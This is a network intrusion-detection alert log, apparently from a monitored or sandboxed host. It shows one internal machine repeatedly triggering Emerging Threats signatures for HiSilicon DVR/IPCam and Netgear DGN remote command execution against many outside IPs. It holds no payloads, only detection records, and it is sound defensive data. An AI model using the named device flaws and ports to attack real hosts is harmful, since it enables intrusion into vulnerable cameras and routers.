ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.172.73.231

Timestamp:	05/16/24-16:39:08.146707
SID:	2030488
Source Port:	42182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 19.161.148.119

Timestamp:	05/16/24-16:39:09.560423
SID:	2029215
Source Port:	38876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.219.241.117

Timestamp:	05/16/24-16:38:55.198152
SID:	2030488
Source Port:	38484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.219.241.117

Timestamp:	05/16/24-16:38:55.198152
SID:	2030487
Source Port:	38484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.203.202.12

Timestamp:	05/16/24-16:39:05.702437
SID:	2030488
Source Port:	44582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.203.202.12

Timestamp:	05/16/24-16:39:05.702437
SID:	2030487
Source Port:	44582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.217.140.119

Timestamp:	05/16/24-16:39:14.516876
SID:	2030487
Source Port:	34194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.217.140.119

Timestamp:	05/16/24-16:39:14.516876
SID:	2030488
Source Port:	34194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.112.173.101

Timestamp:	05/16/24-16:39:02.727954
SID:	2030487
Source Port:	48216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.112.173.101

Timestamp:	05/16/24-16:39:02.727954
SID:	2030488
Source Port:	48216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.24.102.142

Timestamp:	05/16/24-16:39:08.146385
SID:	2030488
Source Port:	58644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.24.102.142

Timestamp:	05/16/24-16:39:08.146385
SID:	2030487
Source Port:	58644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.99.173.97

Timestamp:	05/16/24-16:39:12.400565
SID:	2030487
Source Port:	56866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.99.173.97

Timestamp:	05/16/24-16:39:12.400565
SID:	2030488
Source Port:	56866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.109.209.234

Timestamp:	05/16/24-16:39:12.298233
SID:	2030488
Source Port:	55562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.109.209.234

Timestamp:	05/16/24-16:39:12.298233
SID:	2030487
Source Port:	55562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.38.221.120

Timestamp:	05/16/24-16:39:16.582512
SID:	2030488
Source Port:	51410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.38.221.120

Timestamp:	05/16/24-16:39:16.582512
SID:	2030487
Source Port:	51410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.119.224.82

Timestamp:	05/16/24-16:38:59.519969
SID:	2030488
Source Port:	52082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.119.224.82

Timestamp:	05/16/24-16:38:59.519969
SID:	2030487
Source Port:	52082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.218.233.178

Timestamp:	05/16/24-16:39:02.725580
SID:	2030487
Source Port:	35266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.218.233.178

Timestamp:	05/16/24-16:39:02.725580
SID:	2030488
Source Port:	35266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.8.180.19

Timestamp:	05/16/24-16:39:14.494489
SID:	2030487
Source Port:	41570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.8.180.19

Timestamp:	05/16/24-16:39:14.494489
SID:	2030488
Source Port:	41570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.144.227.100

Timestamp:	05/16/24-16:38:55.226398
SID:	2030488
Source Port:	52242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.118.255.238

Timestamp:	05/16/24-16:39:08.041886
SID:	2030488
Source Port:	44396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.144.227.100

Timestamp:	05/16/24-16:38:55.226398
SID:	2030487
Source Port:	52242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.118.255.238

Timestamp:	05/16/24-16:39:08.041886
SID:	2030487
Source Port:	44396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.181.251.241

Timestamp:	05/16/24-16:39:02.725596
SID:	2030487
Source Port:	49054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.87.53.159

Timestamp:	05/16/24-16:39:14.493602
SID:	2030487
Source Port:	53604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.181.251.241

Timestamp:	05/16/24-16:39:02.725596
SID:	2030488
Source Port:	49054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.64.102.100

Timestamp:	05/16/24-16:39:16.603143
SID:	2030487
Source Port:	50144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.87.53.159

Timestamp:	05/16/24-16:39:14.493602
SID:	2030488
Source Port:	53604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.64.102.100

Timestamp:	05/16/24-16:39:16.603143
SID:	2030488
Source Port:	50144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.219.118.59

Timestamp:	05/16/24-16:39:16.608763
SID:	2030488
Source Port:	36946
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.219.118.59

Timestamp:	05/16/24-16:39:16.608763
SID:	2030487
Source Port:	36946
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.176.142.177

Timestamp:	05/16/24-16:39:12.383684
SID:	2030488
Source Port:	56366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.176.142.177

Timestamp:	05/16/24-16:39:12.383684
SID:	2030487
Source Port:	56366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.46.177.251

Timestamp:	05/16/24-16:38:57.434382
SID:	2030488
Source Port:	55234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.46.177.251

Timestamp:	05/16/24-16:38:57.434382
SID:	2030487
Source Port:	55234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.56.172.127

Timestamp:	05/16/24-16:38:55.206782
SID:	2030488
Source Port:	55302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.0.123.140

Timestamp:	05/16/24-16:39:16.597860
SID:	2030488
Source Port:	34908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.0.123.140

Timestamp:	05/16/24-16:39:16.597860
SID:	2030487
Source Port:	34908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.56.172.127

Timestamp:	05/16/24-16:38:55.206782
SID:	2030487
Source Port:	55302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.161.74.94

Timestamp:	05/16/24-16:39:16.581448
SID:	2030488
Source Port:	55458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.76.29.182

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	34900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.161.74.94

Timestamp:	05/16/24-16:39:16.581448
SID:	2030487
Source Port:	55458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.76.29.182

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	34900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.28.88.148

Timestamp:	05/16/24-16:39:05.698753
SID:	2030488
Source Port:	34522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.28.88.148

Timestamp:	05/16/24-16:39:05.698753
SID:	2030487
Source Port:	34522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.113.107.14

Timestamp:	05/16/24-16:39:14.517467
SID:	2030487
Source Port:	51892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.118.233.25

Timestamp:	05/16/24-16:39:16.609799
SID:	2030488
Source Port:	56124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.118.233.25

Timestamp:	05/16/24-16:39:16.609799
SID:	2030487
Source Port:	56124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.79.244.211

Timestamp:	05/16/24-16:38:55.193096
SID:	2030488
Source Port:	57534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.113.107.14

Timestamp:	05/16/24-16:39:14.517467
SID:	2030488
Source Port:	51892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.79.244.211

Timestamp:	05/16/24-16:38:55.193096
SID:	2030487
Source Port:	57534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.116.15.70

Timestamp:	05/16/24-16:39:12.400838
SID:	2030487
Source Port:	42148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.116.15.70

Timestamp:	05/16/24-16:39:12.400838
SID:	2030488
Source Port:	42148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.224.206.60

Timestamp:	05/16/24-16:38:53.084746
SID:	2030487
Source Port:	39180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.163.108.153

Timestamp:	05/16/24-16:39:08.125322
SID:	2030488
Source Port:	56626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.224.206.60

Timestamp:	05/16/24-16:38:53.084746
SID:	2030488
Source Port:	39180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.252.138.239

Timestamp:	05/16/24-16:38:57.448956
SID:	2030487
Source Port:	39116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.252.138.239

Timestamp:	05/16/24-16:38:57.448956
SID:	2030488
Source Port:	39116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.163.108.153

Timestamp:	05/16/24-16:39:08.125322
SID:	2030487
Source Port:	56626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.227.10.159

Timestamp:	05/16/24-16:38:55.198168
SID:	2030487
Source Port:	44194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.151.163.8

Timestamp:	05/16/24-16:39:03.280152
SID:	2030487
Source Port:	35126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.151.163.8

Timestamp:	05/16/24-16:39:03.280152
SID:	2030488
Source Port:	35126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.14.174.191

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	41072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.227.10.159

Timestamp:	05/16/24-16:38:55.198168
SID:	2030488
Source Port:	44194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.14.174.191

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	41072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 76.160.156.195

Timestamp:	05/16/24-16:39:09.595122
SID:	2024916
Source Port:	47236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.129.166.48

Timestamp:	05/16/24-16:38:53.071690
SID:	2030487
Source Port:	55392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.129.166.48

Timestamp:	05/16/24-16:38:53.071690
SID:	2030488
Source Port:	55392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.187.226.19

Timestamp:	05/16/24-16:38:59.556468
SID:	2030488
Source Port:	48130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.147.7.127

Timestamp:	05/16/24-16:38:57.441164
SID:	2030488
Source Port:	46968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.187.226.19

Timestamp:	05/16/24-16:38:59.556468
SID:	2030487
Source Port:	48130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.147.7.127

Timestamp:	05/16/24-16:38:57.441164
SID:	2030487
Source Port:	46968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.113.10.229

Timestamp:	05/16/24-16:38:57.306851
SID:	2030487
Source Port:	50344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.113.10.229

Timestamp:	05/16/24-16:38:57.306851
SID:	2030488
Source Port:	50344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.219.102.131

Timestamp:	05/16/24-16:38:55.177046
SID:	2030487
Source Port:	59390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.219.102.131

Timestamp:	05/16/24-16:38:55.177046
SID:	2030488
Source Port:	59390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.124.219.220

Timestamp:	05/16/24-16:38:55.176055
SID:	2030487
Source Port:	40490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.124.219.220

Timestamp:	05/16/24-16:38:55.176055
SID:	2030488
Source Port:	40490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.131.149.110

Timestamp:	05/16/24-16:39:05.712622
SID:	2030488
Source Port:	45752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.11.157.165

Timestamp:	05/16/24-16:39:05.676326
SID:	2030488
Source Port:	49658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.11.157.165

Timestamp:	05/16/24-16:39:05.676326
SID:	2030487
Source Port:	49658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.131.149.110

Timestamp:	05/16/24-16:39:05.712622
SID:	2030487
Source Port:	45752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.40.212.132

Timestamp:	05/16/24-16:38:53.011420
SID:	2030488
Source Port:	42264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.40.212.132

Timestamp:	05/16/24-16:38:53.011420
SID:	2030487
Source Port:	42264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.29.50.168

Timestamp:	05/16/24-16:38:55.229939
SID:	2030488
Source Port:	58926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.62.140.176

Timestamp:	05/16/24-16:38:53.064518
SID:	2030487
Source Port:	42192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.74.33.135

Timestamp:	05/16/24-16:38:55.229907
SID:	2030488
Source Port:	48176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.62.140.176

Timestamp:	05/16/24-16:38:53.064518
SID:	2030488
Source Port:	42192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.74.33.135

Timestamp:	05/16/24-16:38:55.229907
SID:	2030487
Source Port:	48176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.29.50.168

Timestamp:	05/16/24-16:38:55.229939
SID:	2030487
Source Port:	58926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.126.41.28

Timestamp:	05/16/24-16:39:02.725601
SID:	2030487
Source Port:	53506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.126.41.28

Timestamp:	05/16/24-16:39:02.725601
SID:	2030488
Source Port:	53506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.73.218.204

Timestamp:	05/16/24-16:39:05.707019
SID:	2030487
Source Port:	45010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.73.218.204

Timestamp:	05/16/24-16:39:05.707019
SID:	2030488
Source Port:	45010
Destination Port:	9530
